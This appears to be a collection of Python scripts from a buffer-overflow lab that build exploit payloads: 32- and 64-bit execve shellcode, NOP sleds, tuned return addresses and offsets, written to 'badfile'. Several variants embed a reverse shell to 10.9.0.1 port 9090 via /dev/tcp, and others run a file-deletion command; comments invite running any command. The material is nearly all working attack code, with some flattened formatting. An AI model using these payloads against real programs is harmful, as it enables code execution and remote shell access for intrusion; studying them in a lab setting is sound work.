# You can use this shellcode to run any command you want shellcode = ( "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b" "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54" "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff" "/bin/bash*" "-c*" # You can modify the following command string to run any command. # You can even run multiple commands. When you change the string, # make sure that the position of the * at the end doesn't change. # The code above will change the byte at this position to zero, # so the command string ends here. # You can delete/add spaces, if needed, to keep the position the same. # The * in this line serves as the position marker * "echo 1;/bin/ls;/bin/rm ./file_to_delete;echo 2;/bin/ls *" "AAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBB"# Placeholder for argv[1] --> "-c" "CCCC"# Placeholder for argv[2] --> the command string "DDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
content = bytearray(200) content[0:] = shellcode
# Save the binary code to file withopen('codefile_32', 'wb') as f: f.write(content)
# You can use this shellcode to run any command you want shellcode = ( "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48" "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48" "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31" "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff" "/bin/bash*" "-c*" # You can modify the following command string to run any command. # You can even run multiple commands. When you change the string, # make sure that the position of the * at the end doesn't change. # The code above will change the byte at this position to zero, # so the command string ends here. # You can delete/add spaces, if needed, to keep the position the same. # The * in this line serves as the position marker * "echo 1;/bin/ls;/bin/rm ./file_to_delete;echo 2;/bin/ls *" "AAAAAAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBBBBBB"# Placeholder for argv[1] --> "-c" "CCCCCCCC"# Placeholder for argv[2] --> the command string "DDDDDDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
content = bytearray(200) content[0:] = shellcode
# Save the binary code to file withopen('codefile_64', 'wb') as f: f.write(content)
shellcode = ( "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b" "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54" "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff" "/bin/bash*" "-c*" # You can modify the following command string to run any command. # You can even run multiple commands. When you change the string, # make sure that the position of the * at the end doesn't change. # The code above will change the byte at this position to zero, # so the command string ends here. # You can delete/add spaces, if needed, to keep the position the same. # The * in this line serves as the position marker * "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *" "AAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBB"# Placeholder for argv[1] --> "-c" "CCCC"# Placeholder for argv[2] --> the command string "DDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
# Fill the content with NOP's content = bytearray(0x90for i inrange(517))
################################################################## # Put the shellcode somewhere in the payload start = 128# Change this number print(len(shellcode)) content[start:start + len(shellcode)] = shellcode
# Decide the return address value # and put it somewhere in the payload ret = 0xffffd0e8# Change this number offset = 116# Change this number
# Use 4 for 32-bit address and 8 for 64-bit address content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little') ##################################################################
# Write the content to a file withopen('badfile', 'wb') as f: f.write(content)
shellcode = ( "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b" "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54" "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff" "/bin/bash*" "-c*" # You can modify the following command string to run any command. # You can even run multiple commands. When you change the string, # make sure that the position of the * at the end doesn't change. # The code above will change the byte at this position to zero, # so the command string ends here. # You can delete/add spaces, if needed, to keep the position the same. # The * in this line serves as the position marker * "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *" "AAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBB"# Placeholder for argv[1] --> "-c" "CCCC"# Placeholder for argv[2] --> the command string "DDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
# Fill the content with NOP's content = bytearray(0x90for i inrange(517))
################################################################## # Put the shellcode somewhere in the payload start = 340# Change this number print(len(shellcode)) content[start:start + len(shellcode)] = shellcode
# Decide the return address value # and put it somewhere in the payload ret = 0xffffd7ac# Change this number # offset = 116 # Change this number
# Use 4 for 32-bit address and 8 for 64-bit address for offset inrange(100,304,4): print(offset) content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little') ##################################################################
# Write the content to a file withopen('badfile', 'wb') as f: f.write(content)
shellcode = ( "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48" "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48" "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31" "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff" "/bin/bash*" "-c*" # You can modify the following command string to run any command. # You can even run multiple commands. When you change the string, # make sure that the position of the * at the end doesn't change. # The code above will change the byte at this position to zero, # so the command string ends here. # You can delete/add spaces, if needed, to keep the position the same. # The * in this line serves as the position marker * "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *" "AAAAAAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBBBBBB"# Placeholder for argv[1] --> "-c" "CCCCCCCC"# Placeholder for argv[2] --> the command string "DDDDDDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
# Fill the content with NOP's content = bytearray(0x90for i inrange(517))
################################################################## # Put the shellcode somewhere in the payload start = 0# Change this number print(len(shellcode)) content[start:start + len(shellcode)] = shellcode
# Decide the return address value # and put it somewhere in the payload ret = 0x00007fffffffe580# Change this number offset = 208+8# Change this number
# Use 4 for 32-bit address and 8 for 64-bit address content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little') ##################################################################
# Write the content to a file withopen('badfile', 'wb') as f: f.write(content)
shellcode = ( "\xeb\x36\x5b\x48\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x48" "\x89\x5b\x48\x48\x8d\x4b\x0a\x48\x89\x4b\x50\x48\x8d\x4b\x0d\x48" "\x89\x4b\x58\x48\x89\x43\x60\x48\x89\xdf\x48\x8d\x73\x48\x48\x31" "\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\xe8\xc5\xff\xff\xff" "/bin/bash*" "-c*" # You can modify the following command string to run any command. # You can even run multiple commands. When you change the string, # make sure that the position of the * at the end doesn't change. # The code above will change the byte at this position to zero, # so the command string ends here. # You can delete/add spaces, if needed, to keep the position the same. # The * in this line serves as the position marker * "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *" "AAAAAAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBBBBBB"# Placeholder for argv[1] --> "-c" "CCCCCCCC"# Placeholder for argv[2] --> the command string "DDDDDDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
jmp_rsp=("\xff\xe4").encode('latin-1')
# Fill the content with NOP's content = bytearray(0x90for i inrange(517))
################################################################## # Put the shellcode somewhere in the payload start = 112# Change this number print(len(shellcode)) content[start:start + len(shellcode)] = shellcode
# Decide the return address value # and put it somewhere in the payload ret = 0x00007fffffffe5f0+0x000490+112# Change this number to ret place+8 offset = 104# Change this number
# Use 4 for 32-bit address and 8 for 64-bit address content[offset:offset + 8] = (ret).to_bytes(8,byteorder='little') ##################################################################
# Write the content to a file withopen('badfile', 'wb') as f: f.write(content)
shellcode = ( "\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b" "\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54" "\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff" "/bin/bash*" "-c*" # You can modify the following command string to run any command. # You can even run multiple commands. When you change the string, # make sure that the position of the * at the end doesn't change. # The code above will change the byte at this position to zero, # so the command string ends here. # You can delete/add spaces, if needed, to keep the position the same. # The * in this line serves as the position marker * "/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *" "AAAA"# Placeholder for argv[0] --> "/bin/bash" "BBBB"# Placeholder for argv[1] --> "-c" "CCCC"# Placeholder for argv[2] --> the command string "DDDD"# Placeholder for argv[3] --> NULL ).encode('latin-1')
# Fill the content with NOP's content = bytearray(0x90for i inrange(517))
################################################################## # Put the shellcode somewhere in the payload start = 340# Change this number print(len(shellcode)) content[start:start + len(shellcode)] = shellcode
# Decide the return address value # and put it somewhere in the payload ret = 0xffffd7ac# Change this number # offset = 116 # Change this number
# Use 4 for 32-bit address and 8 for 64-bit address for offset inrange(100,304,4): print(offset) content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little') ##################################################################
# Write the content to a file withopen('badfile', 'wb') as f: f.write(content)